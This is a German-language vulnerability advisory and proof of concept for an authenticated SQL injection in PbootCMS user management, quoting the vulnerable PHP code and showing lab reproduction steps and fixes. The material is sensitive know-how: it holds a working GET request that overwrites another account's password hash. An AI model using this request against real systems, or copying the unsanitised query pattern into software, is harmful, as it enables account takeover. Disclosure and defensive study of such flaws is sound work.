
Proof-of-Concept für CVE-2026-79387, eine authentifizierte SQL-Injection in der Benutzerverwaltung von PbootCMS, die beliebige Feldaktualisierungen und die Übernahme von Konten ermöglicht.
| Feld | Detail |
|---|
| CVE-ID | CVE-2026-79387 |
| Produkt | PbootCMS |
| Betroffene Versionen | 3.2.0 – 3.2.5, möglicherweise auch frühere |
| Schwachstellentyp | SQL-Injection (CWE-89) |
| Angriffsvektor | Remote (authentifiziert) |
| CVSS-Schweregrad | Hoch |
| Entdecker | JihaoLi |
| Anbieter | https://www.pbootcms.com/ |
Im Benutzerverwaltungsmodul von PbootCMS V3.2.5 besteht eine SQL-Injection-Schwachstelle. Die Schwachstelle befindet sich in der mod()-Methode von /apps/admin/controller/system/UserController.php (Zeile 149) und der modUser()-Methode von /apps/admin/model/system/UserModel.php.
Der Parameter field ist über eine GET-Anfrage vollständig vom Benutzer steuerbar, ohne jegliche Whitelist-Validierung. Der Parameter value ist gleichermaßen vom Benutzer steuerbar und wird direkt in die SQL-UPDATE-Anweisung eingefügt. Ein authentifizierter Angreifer kann jede Datenbankspalte als field angeben (z. B. password, username, status, role), was eine beliebige Datenmanipulation ermöglicht.
// UserController.php - mod()-Methode
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field und $value werden direkt aus der Superglobalen $_GET übernommen und in eine SQL-Zeichenkette eingefügt – ohne Bereinigung, ohne Whitelist und ohne parametrisierte Abfrage. Diese Zeichenkette wird dann an UserModel::modUser() übergeben, das sie an die Basis-Methode Model::update() weiterleitet. Da das Argument eine Zeichenkette (kein Array) ist, umgeht es die Feldnamen-Validierung von checkKey() und wird unverändert in die SET-Klausel eingebettet:
UPDATE ay_user SET <benutzergesteuert>= '<benutzergesteuert>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Ein authentifizierter Angreifer kann:
ucode=10001).value ermöglicht das Ausbrechen über einfache Anführungszeichen, was potenziell Stacked- oder Tautologie-basierte Angriffe ermöglicht.Dies führt zur Kontoübernahme und zur vollständigen Kontrolle über das CMS-Backend.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Rufen Sie das PbootCMS-Admin-Dashboard auf und melden Sie sich mit dem Standardkonto admin an.

Navigieren Sie zu Systemverwaltung → Benutzerverwaltung → Benutzer hinzufügen. Erstellen Sie einen neuen Benutzer:
admin2admin
Die Benutzerliste bestätigt admin2 mit ucode=10002:

Öffnen Sie ein neues Browserfenster. Versuchen Sie, sich als admin2 mit dem Passwort 123456 anzumelden – dies schlägt fehl, da das tatsächliche Passwort admin ist:

Navigieren Sie mit dem bereits angemeldeten Admin-Browser zu:
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291ist der MD5-Hash von123456.
Die mod()-Methode führt die Injection aus und leitet über location(-1) weiter:

Versuchen Sie nun, sich mit admin2 / 123456 anzumelden:

Das Passwort wurde erfolgreich per SQL-Injection geändert. Der Benutzer ist nun mit dem neuen Passwort angemeldet, was die vollständige Kontoübernahme bestätigt.

Wenn update() ein Zeichenketten-Argument erhält, wird es unverändert in der SET-Klausel ohne jegliches Escaping verwendet:
final public function update($data = null)
{
if (is_array($data)) {
// Array-Pfad: checkKey() validiert Feldnamen
...
} else {
// Zeichenketten-Pfad: KEINE VALIDIERUNG
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direkte Ausführung, keine Prepared Statements
}
field – nur bekannte Spaltennamen zulassen (status, username, realname, password).$value bereinigen, um ein Ausbrechen über Anführungszeichen zu verhindern.field gleich password ist, vor der Speicherung encrypt_string() auf den Wert anwenden.mod() sollte ein gültiges CSRF-Token und eine rollenbasierte Autorisierungsprüfung erfordern.Offenlegung: Diese Schwachstelle wurde dem Anbieter verantwortungsvoll gemeldet. Wenn Sie eine betroffene Version ausführen, aktualisieren Sie umgehend und prüfen Sie alle Backend-Konten.